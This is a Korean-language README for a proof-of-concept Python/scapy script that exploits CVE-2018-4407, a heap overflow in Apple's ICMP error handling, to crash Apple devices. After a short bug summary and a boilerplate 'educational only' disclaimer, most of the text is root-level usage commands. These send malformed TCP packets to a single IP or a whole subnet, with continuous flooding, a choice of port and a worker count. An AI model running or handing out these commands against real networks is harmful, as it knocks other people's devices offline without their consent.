
네트워크상의 Apple 기기를 CVE-2018-4407 (잘못된 패킷 처리의 힙 오버플로우)로 교란하기
CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), 이 트윗, 그리고 이 동영상을 기반으로 합니다. 이 버그는 OS가 잘못된 패킷의 세그먼트를 포함하는 ICMP 메시지를 송신자에게 다시 보내려고 할 때 발생하는 힙 오버플로우 취약점입니다.

이 PoC는 긴 TCP/IP 헤더 옵션이 포함된 잘못된 TCP 패킷 데이터를 전송하여 취약한 Apple 기기가 오류 메시지를 보내려고 할 때 ICMP 메시지를 오버플로우시켜 기기를 충돌시킵니다. 기기에 네트워크 패킷 데이터를 직접 보낼 수 있는 능력이 필요합니다 (예: 동일한 로컬 네트워크에 있는 경우).
다음 운영 체제 버전 및 기기가 취약합니다:
교육 목적으로만 사용하십시오. 불법 활동에 이 스크립트를 사용하지 마십시오. 저자는 오용이나 손해에 대해 책임을 지지 않습니다.
Python 3와 scapy가 설치되어 있는지 확인하십시오.
pip install scapy
# 또는
pip3 install scapy
스크립트를 root로 실행해야 할 수도 있습니다.
192.168.1.0/24 서브넷에 잘못된 패킷을 보냅니다.
sudo ./appledos.py 192.168.1.0/24
패킷 전송 후 IP를 표시합니다.
sudo ./appledos.py --verbose 192.168.1.0/24
192.168.1.0/24 서브넷에 지속적으로 잘못된 패킷을 보냅니다.
sudo ./appledos.py --continuous 192.168.1.0/24
대상 포트 변경 (기본값: 80). 기기는 모든 포트로 들어오는 모든 패킷에 응답하므로 원하는 포트로 변경할 수 있지만, 호스트 또는 네트워크의 포트 차단이나 방화벽을 고려해야 할 수 있습니다.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
하나의 IP에만 잘못된 패킷을 보냅니다.
sudo ./appledos.py 192.168.1.118
최대 작업자 수 설정 (기본값: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
이 스크립트는 scapy를 사용하며, macOS와 같은 OS에서 멀티스레드로 패킷 데이터를 보낼 때 /dev/bpf (Berkeley Packet Filter) 처리에 알려진 문제가 있습니다. No /dev/bpf handle is available 오류가 발생하면 작업자 수를 1 또는 2로 줄이십시오. 또는 데모 비디오에서처럼 Linux를 사용할 수도 있습니다.